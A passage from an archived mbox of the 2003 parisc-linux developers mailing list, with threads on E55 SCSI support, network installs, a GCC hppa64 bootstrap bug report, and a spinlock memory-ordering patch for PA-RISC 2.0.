	Sat, 8 Feb 2003 02:10:28 +0100
In-Reply-To: <3E44577F.5060509@gmx.at>
X-Mailer: Sylpheed version 0.7.4claws (GTK+ 1.2.10; powerpc-debian-linux-gnu)
Original-Sender: parisc-linux-admin@lists.parisc-linux.org
Errors-To: parisc-linux-admin@lists.parisc-linux.org
X-BeenThere: parisc-linux@lists.parisc-linux.org
X-Mailman-Version: 2.0.11
Precedence: bulk
List-Help: <mailto:parisc-linux-request@lists.parisc-linux.org?subject=help>
List-Post: <mailto:parisc-linux@lists.parisc-linux.org>
List-Subscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>,
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=subscribe>
List-Id: parisc-linux developers list <parisc-linux.lists.parisc-linux.org>
List-Unsubscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>,
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=unsubscribe>
List-Archive: <http://lists.parisc-linux.org/pipermail/parisc-linux/>
Xref: news.gmane.org gmane.linux.ports.parisc:17652

On Sat, 08 Feb 2003 02:03:59 +0100
"Christoph Plattner" <christoph.plattner@gmx.at> wrote:

> Hallo PARISC Hackers !
> 
> Is there any new status on MUX or SCSI on E55 or similar ?
Not yet concerning SCSI.
This is still on rbrad and my todo list, at (alas) a low priority level for both of us I think.
Don't worry, this hasn't been forgotten ;)


Thibaut VARENE
The PA/Linux ESIEE Team
http://pateam.esiee.fr/


From - Thu Nov 08 21:26:44 2018
X-Mozilla-Status: 0001
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: Schelstraete Bart <bart@schelstraete.org>
Newsgroups: gmane.linux.ports.parisc
Subject: [parisc-linux] network install help.
Date: Sat, 08 Feb 2003 12:43:29 +0100
Lines: 16
Approved: news@gmane.org
Message-ID: <3E44ED61.2010708@schelstraete.org>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: text/plain; charset=us-ascii; format=flowed
Content-Transfer-Encoding: 7bit
X-Trace: ger.gmane.org 1416622196 21422 80.91.229.3 (22 Nov 2014 02:09:56 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 02:09:56 +0000 (UTC)
To: parisc-linux@lists.parisc-linux.org
Original-X-From: owner-parisc-linux@dsl2.external.hp.com  Sat Feb  8 04:41:49 2003
Return-Path: <owner-parisc-linux@dsl2.external.hp.com>
Delivered-To: parisc-linux@lists.parisc-linux.org
Original-Received: from gateway2.dhl.com (lhr002a.dhl.com [198.141.197.2])
	by dsl2.external.hp.com (Postfix) with ESMTP id 037A64829
	for <parisc-linux@lists.parisc-linux.org>; Sat,  8 Feb 2003 04:41:48 -0700 (MST)
Original-Received: from schelstraete.org (localhost.localdomain [127.0.0.1])
	by gateway2.dhl.com (8.11.6/8.11.6) with SMTP id h18BfeX31624
	for <parisc-linux@lists.parisc-linux.org>; Sat, 8 Feb 2003 11:41:47 GMT
User-Agent: Mozilla/5.0 (Windows; U; Windows NT 5.1; en-US; rv:1.3b) Gecko/20030128
X-Accept-Language: en-us, en
Original-Sender: parisc-linux-admin@lists.parisc-linux.org
Errors-To: parisc-linux-admin@lists.parisc-linux.org
X-BeenThere: parisc-linux@lists.parisc-linux.org
X-Mailman-Version: 2.0.11
Precedence: bulk
List-Help: <mailto:parisc-linux-request@lists.parisc-linux.org?subject=help>
List-Post: <mailto:parisc-linux@lists.parisc-linux.org>
List-Subscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>,
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=subscribe>
List-Id: parisc-linux developers list <parisc-linux.lists.parisc-linux.org>
List-Unsubscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>,
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=unsubscribe>
List-Archive: <http://lists.parisc-linux.org/pipermail/parisc-linux/>
Xref: news.gmane.org gmane.linux.ports.parisc:17653

Hello parisc-linux users,

I want to install parisc-linux on my old 712 machine over here.but I 
have a question.

That workstation doesn't have a CDROM attached to it. Is it possible to 
install parisc-linux from -let's say- NFS of TFTP, and this from a Linux 
machine? (network install)

If so, how can I do that?

rgrds,

		Bart



From - Thu Nov 08 21:26:44 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: Thibaut VARENE <varenet@esiee.fr>
Newsgroups: gmane.linux.ports.parisc
Subject: Re: [parisc-linux] network install help.
Date: Sat, 8 Feb 2003 13:05:17 +0100
Organization: ESIEE
Lines: 30
Approved: news@gmane.org
Message-ID: <20030208130517.401c23c1.varenet@esiee.fr>
References: <3E44ED61.2010708@schelstraete.org>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: text/plain; charset=US-ASCII
Content-Transfer-Encoding: 7bit
X-Trace: ger.gmane.org 1416622196 21431 80.91.229.3 (22 Nov 2014 02:09:56 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 02:09:56 +0000 (UTC)
Cc: bart@schelstraete.org
To: parisc-linux@lists.parisc-linux.org
Original-X-From: owner-parisc-linux@dsl2.external.hp.com  Sat Feb  8 05:05:45 2003
Return-Path: <owner-parisc-linux@dsl2.external.hp.com>
Delivered-To: parisc-linux@lists.parisc-linux.org
Original-Received: from mail.zigoo.net (e146.dhcp212-198-142.noos.fr [212.198.142.146])
	by dsl2.external.hp.com (Postfix) with ESMTP id 0A5714829
	for <parisc-linux@lists.parisc-linux.org>; Sat,  8 Feb 2003 05:05:45 -0700 (MST)
Original-Received: from Tatooine (varenet@Tatooine.r3z0 [192.168.69.3])
	by mail.zigoo.net (8.12.7/8.12.7) with SMTP id h18C5gkC017265;
	Sat, 8 Feb 2003 13:05:43 +0100
In-Reply-To: <3E44ED61.2010708@schelstraete.org>
X-Mailer: Sylpheed version 0.7.4claws (GTK+ 1.2.10; powerpc-debian-linux-gnu)
Original-Sender: parisc-linux-admin@lists.parisc-linux.org
Errors-To: parisc-linux-admin@lists.parisc-linux.org
X-BeenThere: parisc-linux@lists.parisc-linux.org
X-Mailman-Version: 2.0.11
Precedence: bulk
List-Help: <mailto:parisc-linux-request@lists.parisc-linux.org?subject=help>
List-Post: <mailto:parisc-linux@lists.parisc-linux.org>
List-Subscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>,
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=subscribe>
List-Id: parisc-linux developers list <parisc-linux.lists.parisc-linux.org>
List-Unsubscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>,
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=unsubscribe>
List-Archive: <http://lists.parisc-linux.org/pipermail/parisc-linux/>
Xref: news.gmane.org gmane.linux.ports.parisc:17654

On Sat, 08 Feb 2003 12:43:29 +0100
"Schelstraete Bart" <bart@schelstraete.org> wrote:

> Hello parisc-linux users,
> 
> I want to install parisc-linux on my old 712 machine over here.but I 
> have a question.
> 
> That workstation doesn't have a CDROM attached to it. Is it possible to 
> install parisc-linux from -let's say- NFS of TFTP, and this from a Linux 
> machine? (network install)
> 
> If so, how can I do that?
> 
> rgrds,
> 
> 		Bart
> 

http://pateam.esiee.fr/doc.html


Thibaut VARENE
The PA/Linux ESIEE Team
http://pateam.esiee.fr/

-- 
One of these days i'm gonna stop answering such questions, to preserve
the 'r', 't', 'f', and 'm' key prints of my keyboard :P


From - Thu Nov 08 21:26:44 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: Michael S.Zick <mszick@goquest.com>
Newsgroups: gmane.linux.ports.parisc
Subject: Re: [parisc-linux] network install help.
Date: Sat, 8 Feb 2003 09:01:25 -0600
Lines: 13
Approved: news@gmane.org
Message-ID: <03020809012500.01321@localhost.localdomain>
References: <3E44ED61.2010708@schelstraete.org> <20030208130517.401c23c1.varenet@esiee.fr>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: text/plain;
  charset="iso-8859-1"
Content-Transfer-Encoding: 8bit
X-Trace: ger.gmane.org 1416622196 21439 80.91.229.3 (22 Nov 2014 02:09:56 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 02:09:56 +0000 (UTC)
To: Thibaut VARENE <varenet@esiee.fr>,
	parisc-linux@lists.parisc-linux.org
Original-X-From: owner-parisc-linux@dsl2.external.hp.com  Sat Feb  8 08:07:37 2003
Return-Path: <owner-parisc-linux@dsl2.external.hp.com>
Delivered-To: parisc-linux@lists.parisc-linux.org
Original-Received: from mail.goquest.com (ns1.goquest.com [12.18.108.6])
	by dsl2.external.hp.com (Postfix) with SMTP id 0C57F4829
	for <parisc-linux@lists.parisc-linux.org>; Sat,  8 Feb 2003 08:07:37 -0700 (MST)
Original-Received: (qmail 1461 invoked by uid 0); 8 Feb 2003 15:07:31 -0000
Original-Received: from mszick@goquest.com by mail.goquest.com by uid 502 with qmail-scanner-1.15 
 (spamassassin: 2.31.  Clear:. 
 Processed in 0.509766 secs); 08 Feb 2003 15:07:31 -0000
Original-Received: from unknown (HELO localhost.localdomain) (66.90.217.180)
  by mail.goquest.com with SMTP; 8 Feb 2003 15:07:30 -0000
X-Mailer: KMail [version 1.2]
In-Reply-To: <20030208130517.401c23c1.varenet@esiee.fr>
Original-Sender: parisc-linux-admin@lists.parisc-linux.org
Errors-To: parisc-linux-admin@lists.parisc-linux.org
X-BeenThere: parisc-linux@lists.parisc-linux.org
X-Mailman-Version: 2.0.11
Precedence: bulk
List-Help: <mailto:parisc-linux-request@lists.parisc-linux.org?subject=help>
List-Post: <mailto:parisc-linux@lists.parisc-linux.org>
List-Subscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>,
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=subscribe>
List-Id: parisc-linux developers list <parisc-linux.lists.parisc-linux.org>
List-Unsubscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>,
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=unsubscribe>
List-Archive: <http://lists.parisc-linux.org/pipermail/parisc-linux/>
Xref: news.gmane.org gmane.linux.ports.parisc:17655

On Saturday 08 February 2003 06:05 am, Thibaut VARENE wrote:
> -- 
> One of these days i'm gonna stop answering such questions, to preserve
> the 'r', 't', 'f', and 'm' key prints of my keyboard :P
_______________________________________________
> parisc-linux mailing list
> parisc-linux@lists.parisc-linux.org
> http://lists.parisc-linux.org/mailman/listinfo/parisc-linux

Perhaps add it to the M-L signature? ^^^^^^

Mike


From - Thu Nov 08 21:26:44 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: Christoph Plattner <christoph.plattner@gmx.at>
Newsgroups: gmane.linux.ports.parisc
Subject: Re: [parisc-linux] Status SCSI/MUX on E55 (and family)
Date: Sat, 08 Feb 2003 20:49:59 +0100
Organization: private
Lines: 49
Approved: news@gmane.org
Message-ID: <3E455F67.8090700@gmx.at>
References: <3E44577F.5060509@gmx.at> <20030208021001.26d02b16.varenet@esiee.fr>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: text/plain; charset=us-ascii; format=flowed
Content-Transfer-Encoding: 7bit
X-Trace: ger.gmane.org 1416622196 21448 80.91.229.3 (22 Nov 2014 02:09:56 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 02:09:56 +0000 (UTC)
Cc: parisc-linux@lists.parisc-linux.org
To: Thibaut VARENE <varenet@esiee.fr>
Original-X-From: owner-parisc-linux@dsl2.external.hp.com  Sat Feb  8 12:50:03 2003
Return-Path: <owner-parisc-linux@dsl2.external.hp.com>
Delivered-To: parisc-linux@lists.parisc-linux.org
Original-Received: from viefep12-int.chello.at (viefep12-int.chello.at [213.46.255.25])
	by dsl2.external.hp.com (Postfix) with ESMTP id C6E834829
	for <parisc-linux@lists.parisc-linux.org>; Sat,  8 Feb 2003 12:50:01 -0700 (MST)
Original-Received: from gmx.at ([62.178.92.247]) by viefep12-int.chello.at
          (InterMail vM.5.01.05.17 201-253-122-126-117-20021021) with ESMTP
          id <20030208194959.HEOJ27217.viefep12-int.chello.at@gmx.at>;
          Sat, 8 Feb 2003 20:49:59 +0100
User-Agent: Mozilla/5.0 (X11; U; Linux i686; en-US; rv:1.0.1) Gecko/20020830
X-Accept-Language: en-us, en
Original-Sender: parisc-linux-admin@lists.parisc-linux.org
Errors-To: parisc-linux-admin@lists.parisc-linux.org
X-BeenThere: parisc-linux@lists.parisc-linux.org
X-Mailman-Version: 2.0.11
Precedence: bulk
List-Help: <mailto:parisc-linux-request@lists.parisc-linux.org?subject=help>
List-Post: <mailto:parisc-linux@lists.parisc-linux.org>
List-Subscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>,
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=subscribe>
List-Id: parisc-linux developers list <parisc-linux.lists.parisc-linux.org>
List-Unsubscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>,
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=unsubscribe>
List-Archive: <http://lists.parisc-linux.org/pipermail/parisc-linux/>
Xref: news.gmane.org gmane.linux.ports.parisc:17656

Hello,

oh that's new for me. I thought, the SPIFI is partially on my list.
I do not know, who told me, but I think it was Grant Grundler.
Of course, I cannot do it allone, but a good "hacking team" ...

I started debugging (by printk) a hlaf year ago. I also started to
study the NetBsd sources. And I already wait for the NDA to have
a "source look" in HP-UX and access to other documents.

As I have the E55, and I want to use it, a also offer my help.
So this is the reason, why I wrote the PDC console driver to
primary boot those class of machines.

The status on SCSI was: every read access to any I/O port (sorry:
memory location) a 0xffffffff was returned - open bus ?

Christoph



Thibaut VARENE wrote:
> On Sat, 08 Feb 2003 02:03:59 +0100
> "Christoph Plattner" <christoph.plattner@gmx.at> wrote:
> 
> 
>>Hallo PARISC Hackers !
>>
>>Is there any new status on MUX or SCSI on E55 or similar ?
> 
> Not yet concerning SCSI.
> This is still on rbrad and my todo list, at (alas) a low priority level for both of us I think.
> Don't worry, this hasn't been forgotten ;)
> 
> 
> Thibaut VARENE
> The PA/Linux ESIEE Team
> http://pateam.esiee.fr/
> 
> 



-- 
-------------------------------------------------------
private:	christoph.plattner@gmx.at
company:	christoph.plattner@alcatel.at



From - Thu Nov 08 21:26:44 2018
X-Mozilla-Status: 0001
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: tausq@debian.org
Newsgroups: gmane.linux.ports.parisc
Subject: [parisc-linux] [gcc-3.2.2] hppa64-unknown-linux-gnu fails to bootstrap
Date: Sat, 8 Feb 2003 13:36:03 -0800
Lines: 50
Approved: news@gmane.org
Message-ID: <20030208213603.GP11363__23080.1307516687$1416622197$gmane$org@tausq.org>
Reply-To: tausq@debian.org
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: text/plain; charset=us-ascii
X-Trace: ger.gmane.org 1416622197 21456 80.91.229.3 (22 Nov 2014 02:09:57 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 02:09:57 +0000 (UTC)
Cc: parisc-linux@lists.parisc-linux.org
To: gcc-gnats@gcc.gnu.org, debian-gcc@lists.debian.org
Original-X-From: owner-parisc-linux@dsl2.external.hp.com  Sat Feb  8 15:12:31 2003
Return-Path: <owner-parisc-linux@dsl2.external.hp.com>
Delivered-To: parisc-linux@lists.parisc-linux.org
Original-Received: from pippin.tausq.org (gandalf.tausq.org [64.81.244.94])
	by dsl2.external.hp.com (Postfix) with ESMTP id BDD0F4829
	for <parisc-linux@lists.parisc-linux.org>; Sat,  8 Feb 2003 15:12:30 -0700 (MST)
Original-Received: by pippin.tausq.org (Postfix, from userid 1000)
	id B4846CD294; Sat,  8 Feb 2003 13:36:03 -0800 (PST)
Content-Disposition: inline
X-send-pr-version: 3.113
User-Agent: Mutt/1.5.3i
Original-Sender: parisc-linux-admin@lists.parisc-linux.org
Errors-To: parisc-linux-admin@lists.parisc-linux.org
X-BeenThere: parisc-linux@lists.parisc-linux.org
X-Mailman-Version: 2.0.11
Precedence: bulk
List-Help: <mailto:parisc-linux-request@lists.parisc-linux.org?subject=help>
List-Post: <mailto:parisc-linux@lists.parisc-linux.org>
List-Subscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>,
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=subscribe>
List-Id: parisc-linux developers list <parisc-linux.lists.parisc-linux.org>
List-Unsubscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>,
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=unsubscribe>
List-Archive: <http://lists.parisc-linux.org/pipermail/parisc-linux/>
Xref: news.gmane.org gmane.linux.ports.parisc:17657

>Submitter-Id:	net
>Originator:	Randolph Chung
>Organization:	Debian
>Confidential:	no
>Synopsis:	[gcc-3.2.2] hppa64-unknown-linux-gnu fails to bootstrap
>Severity:	critical
>Priority:	medium
>Category:	bootstrap
>Class:		sw-bug
>Release:	3.2.2 20030131 (Debian prerelease) (Debian testing/unstable)
>Environment:
System: Linux ios 2.4.20-pa23 #19 SMP Fri Feb 7 22:00:18 PST 2003 parisc64 unknown unknown GNU/Linux
Architecture: parisc64

	<machine, os, target, libraries (multiple lines)>
host: hppa-unknown-linux-gnu
build: hppa-unknown-linux-gnu
target: hppa-unknown-linux-gnu
configured with: ../src/configure -v --enable-languages=c,c++,f77,proto,pascal,objc,ada --prefix=/usr --mandir=/usr/share/man --infodir=/usr/share/info --with-gxx-include-dir=/usr/include/c++/3.2 --enable-shared --with-system-zlib --enable-nls --without-included-gettext --enable-__cxa_atexit --enable-clocale=gnu --enable-objc-gc hppa-linux
>Description:
Building gcc-3.2.2 with:

~/src/gcc-3.2-3.2.2ds8/src/configure --with-gnu-as --with-gnu-ld --disable-shared --disable-nls --disable-threads --prefix=/usr  --host=hppa-linux --target=hppa64-linux --enable-languages=c

and then 'make' 

gives:

/home/tausq/build/gcc-3.2/gcc/xgcc -B/home/tausq/build/gcc-3.2/gcc/ -B/usr/hppa64-linux/bin/ -B/usr/hppa64-linux/lib/ -isystem /usr/hppa64-linux/include -O2  -DIN_GCC -DCROSS_COMPILE   -W -Wall -Wwrite-strings -Wstrict-prototypes -Wmissing-prototypes -isystem ./include  -fPIC -Dpa64=1 -DELF=1 -g  -DIN_LIBGCC2 -D__GCC_FLOAT_NOT_NEEDED -Dinhibit_libc -I. -I. -I/home/tausq/src/gcc-3.2-3.2.2ds8/src/gcc -I/home/tausq/src/gcc-3.2-3.2.2ds8/src/gcc/. -I/home/tausq/src/gcc-3.2-3.2.2ds8/src/gcc/config -I/home/tausq/src/gcc-3.2-3.2.2ds8/src/gcc/../include -fexceptions -c /home/tausq/src/gcc-3.2-3.2.2ds8/src/gcc/unwind-sjlj.c -o libgcc/./unwind-sjlj.o
/home/tausq/src/gcc-3.2-3.2.2ds8/src/gcc/unwind-sjlj.c:56: size of array `data'
is too large
/home/tausq/src/gcc-3.2-3.2.2ds8/src/gcc/unwind-sjlj.c:72: confused by earlier errors, bailing out
make[2]: *** [libgcc/./unwind-sjlj.o] Error 1

The offending line is:
     56   _Unwind_Word data[4];
     
There are also a lot of warnings of the form:
/home/tausq/src/gcc-3.2-3.2.2ds8/src/gcc/unwind-dw2-fde.c:822: warning: integer overflow in expression
    807           _Unwind_Ptr mask;
    [...]
    822             mask = -1;

jda says he sees this with gcc-3.2.3 too.

>How-To-Repeat:
	see above
>Fix:
	


From - Thu Nov 08 21:26:44 2018
X-Mozilla-Status: 0001
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: Matthew Wilcox <willy@debian.org>
Newsgroups: gmane.linux.ports.parisc
Subject: [parisc-linux] Re: [parisc-linux-cvs] linux grundler
Date: Sat, 8 Feb 2003 23:23:03 +0000
Lines: 77
Approved: news@gmane.org
Message-ID: <20030208232303.B27544@parcelfarce.linux.theplanet.co.uk>
References: <20030208222242.AA3554829@dsl2.external.hp.com> <20030208222746.GB19683@dsl2.external.hp.com>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: text/plain; charset=us-ascii
X-Trace: ger.gmane.org 1416622197 21464 80.91.229.3 (22 Nov 2014 02:09:57 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 02:09:57 +0000 (UTC)
Cc: parisc-linux@lists.parisc-linux.org
To: Grant Grundler <grundler@dsl2.external.hp.com>
Original-X-From: owner-parisc-linux@dsl2.external.hp.com  Sat Feb  8 16:23:05 2003
Return-Path: <owner-parisc-linux@dsl2.external.hp.com>
Delivered-To: parisc-linux@lists.parisc-linux.org
Original-Received: from www.linux.org.uk (parcelfarce.linux.theplanet.co.uk [195.92.249.252])
	by dsl2.external.hp.com (Postfix) with ESMTP id 097E14829
	for <parisc-linux@lists.parisc-linux.org>; Sat,  8 Feb 2003 16:23:05 -0700 (MST)
Original-Received: from willy by www.linux.org.uk with local (Exim 3.33 #5)
	id 18heJL-0002bK-00; Sat, 08 Feb 2003 23:23:03 +0000
Content-Disposition: inline
User-Agent: Mutt/1.2.5.1i
In-Reply-To: <20030208222746.GB19683@dsl2.external.hp.com>; from grundler@dsl2.external.hp.com on Sat, Feb 08, 2003 at 03:27:46PM -0700
Original-Sender: parisc-linux-admin@lists.parisc-linux.org
Errors-To: parisc-linux-admin@lists.parisc-linux.org
X-BeenThere: parisc-linux@lists.parisc-linux.org
X-Mailman-Version: 2.0.11
Precedence: bulk
List-Help: <mailto:parisc-linux-request@lists.parisc-linux.org?subject=help>
List-Post: <mailto:parisc-linux@lists.parisc-linux.org>
List-Subscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>,
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=subscribe>
List-Id: parisc-linux developers list <parisc-linux.lists.parisc-linux.org>
List-Unsubscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>,
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=unsubscribe>
List-Archive: <http://lists.parisc-linux.org/pipermail/parisc-linux/>
Xref: news.gmane.org gmane.linux.ports.parisc:17658

On Sat, Feb 08, 2003 at 03:27:46PM -0700, Grant Grundler wrote:
> > Kudos to John David Anglin and Carlos O'Donnell for realizing
> > PA 2.0 is not strongly ordered like PA1.x is.
> > Read appendix G or PA-RISC 2.0 Architecture (Gerry Kane) for
> > details on "Memory Ordering Model".

I'm confused.  This directly contradicts the comments in
include/asm-parisc/system.h.  If this needs updating, so does that.

> > I've uploaded palinux-20030208.tgz to dsl2 and will try to build
> > a binutils.deb with this change as well.

Is all that's needed to take the latest binutils from debian unstable
and rebuild it on woody?

> +++ arch/parisc/Makefile	8 Feb 2003 06:21:32 -0000
> @@ -32,6 +32,10 @@ CROSS_COMPILE := hppa-linux-
> +ifdef CONFIG_PA20
> +CFLAGS += -mpa-risc-2-0
> +endif

I've reverted this one.  We already have:

ifdef CONFIG_PA8X00
CFLAGS += -march=2.0 -mschedule=8000
endif

which covers the same cases.

> +++ include/asm-parisc/spinlock_t.h	8 Feb 2003 06:21:34 -0000
> +> I've attached a summary of the change, but basically, for PA 2.0, as
> +> long as the ",CO" (coherent operation) completer is specified, then the
> +> 16-byte alignment requirement for ldcw and ldcd is relaxed, and instead
> +> they only require "natural" alignment (4-byte for ldcw, 8-byte for
> +> ldcd).

That's interesting from an architecture PoV.  From my recollection when jsm
was debugging problems on the 710, PCX-S is the only processor which actually
enforces the 16-byte alignment restriction on ldcw.  So _practically_, we
don't need it unless we're supporting those old processors.

> +#ifdef CONFIG_PA20
> +/* PA2.0 is not strongly ordered. ldcw enforces ordering
> + * and we need to make sure ordering is enforced on the unlock too.
> + */
> +#define spin_unlock(x) \
> +		__asm__ __volatile__ ("stw,o  %%sp,0(%0)" : : "r" (x) : "memory" )
> +#else
> +
> +/* PA1.1 is strongly ordered. No issues here. */
>  #define spin_unlock(x)		do { (x)->lock = 1; } while(0)
> +
> +#endif

Actually... this may be a long-standing bug in our spinlocks.  There's nothing
to prevent gcc reordering writes around this assignment.  We need a barrier()
before the assignment, or maybe it'd be as well to do the assignment in an
asm() statement.

>  #define spin_unlock_wait(x)     do { barrier(); } while(((volatile spinlock_t *)(x))->lock == 0)

i wonder if this one was working around some obscure compiler bug a
while back.  I don't see why we need to cast to a volatile spinlock_t *
given that lock is already defined as volatile.

One final point.... up till now, we've been telling people it's OK to
run kernels configured for PA1.1 on PA2.0 processors.  This patch says
to me that's not safe.  Do we need our distros (yeah, I hear there'll
soon be more than Debian supporting PA) to ship 5 flavours of kernel
(PA1.1 UP & SMP, PA2.0 32-bit SMP, 64-bit UP and 64-bit SMP) rather than
the current four?

-- 
"It's not Hollywood.  War is real, war is primarily not about defeat or
victory, it is about death.  I've seen thousands and thousands of dead bodies.
Do you think I want to have an academic debate on this subject?" -- Robert Fisk


From - Thu Nov 08 21:26:44 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: "John David Anglin" <dave@hiauly1.hia.nrc.ca>
Newsgroups: gmane.linux.ports.parisc
Subject: Re: [parisc-linux] Re: [parisc-linux-cvs] linux grundler
Date: Sat, 8 Feb 2003 19:35:18 -0500 (EST)
Lines: 35
Approved: news@gmane.org
Message-ID: <200302090035.h190ZJYC012838@hiauly1.hia.nrc.ca>
References: <20030208232303.B27544@parcelfarce.linux.theplanet.co.uk>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: text/plain; charset=US-ASCII
Content-Transfer-Encoding: 7bit
X-Trace: ger.gmane.org 1416622197 21477 80.91.229.3 (22 Nov 2014 02:09:57 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 02:09:57 +0000 (UTC)
Cc: grundler@dsl2.external.hp.com,
	parisc-linux@lists.parisc-linux.org
To: willy@debian.org (Matthew Wilcox)
Original-X-From: owner-parisc-linux@dsl2.external.hp.com  Sat Feb  8 17:35:22 2003
Return-Path: <owner-parisc-linux@dsl2.external.hp.com>
Delivered-To: parisc-linux@lists.parisc-linux.org
Original-Received: from hiauly1.hia.nrc.ca (hiauly1.hia.nrc.ca [132.246.100.193])
	by dsl2.external.hp.com (Postfix) with ESMTP id 35CA84829
	for <parisc-linux@lists.parisc-linux.org>; Sat,  8 Feb 2003 17:35:22 -0700 (MST)
Original-Received: from hiauly1.hia.nrc.ca (localhost [127.0.0.1])
	by hiauly1.hia.nrc.ca (8.12.0.Beta16/8.12.0.Beta16) with ESMTP id h190ZKot012839;
	Sat, 8 Feb 2003 19:35:20 -0500 (EST)
Original-Received: (from dave@localhost)
	by hiauly1.hia.nrc.ca (8.12.0.Beta16/8.12.0.Beta16) id h190ZJYC012838;
	Sat, 8 Feb 2003 19:35:19 -0500 (EST)
In-Reply-To: <20030208232303.B27544@parcelfarce.linux.theplanet.co.uk> from "Matthew Wilcox" at Feb 8, 2003 11:23:03 pm
X-Mailer: ELM [version 2.4 PL25]
Original-Sender: parisc-linux-admin@lists.parisc-linux.org
Errors-To: parisc-linux-admin@lists.parisc-linux.org
X-BeenThere: parisc-linux@lists.parisc-linux.org
X-Mailman-Version: 2.0.11
Precedence: bulk
List-Help: <mailto:parisc-linux-request@lists.parisc-linux.org?subject=help>
List-Post: <mailto:parisc-linux@lists.parisc-linux.org>
List-Subscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>,
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=subscribe>
List-Id: parisc-linux developers list <parisc-linux.lists.parisc-linux.org>
List-Unsubscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>,
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=unsubscribe>
List-Archive: <http://lists.parisc-linux.org/pipermail/parisc-linux/>
Xref: news.gmane.org gmane.linux.ports.parisc:17659

> That's interesting from an architecture PoV.  From my recollection when jsm
> was debugging problems on the 710, PCX-S is the only processor which actually
> enforces the 16-byte alignment restriction on ldcw.  So _practically_, we
> don't need it unless we're supporting those old processors.

I am pretty sure that any PA 1.x machine needs the alignment.

> > +#ifdef CONFIG_PA20
> > +/* PA2.0 is not strongly ordered. ldcw enforces ordering
> > + * and we need to make sure ordering is enforced on the unlock too.
> > + */
> > +#define spin_unlock(x) \
> > +		__asm__ __volatile__ ("stw,o  %%sp,0(%0)" : : "r" (x) : "memory" )

If you change the above to

  __asm__ __volatile__ ("stw,ma  %%sp,0(%0)" : : "r" (x) : "memory")

it should work on both PA11 and PA20.  The ordered completer is only
PA 2.

> Actually... this may be a long-standing bug in our spinlocks.  There's nothing
> to prevent gcc reordering writes around this assignment.  We need a barrier()
> before the assignment, or maybe it'd be as well to do the assignment in an
> asm() statement.
> 
> >  #define spin_unlock_wait(x)     do { barrier(); } while(((volatile spinlock_t *)(x))->lock == 0)

I think the volatile provides the barrier in my suggested version.

Dave
-- 
J. David Anglin                                  dave.anglin@nrc-cnrc.gc.ca
National Research Council of Canada              (613) 990-0752 (FAX: 952-6605)


From - Thu Nov 08 21:26:44 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: Randolph Chung <tausq@debian.org>
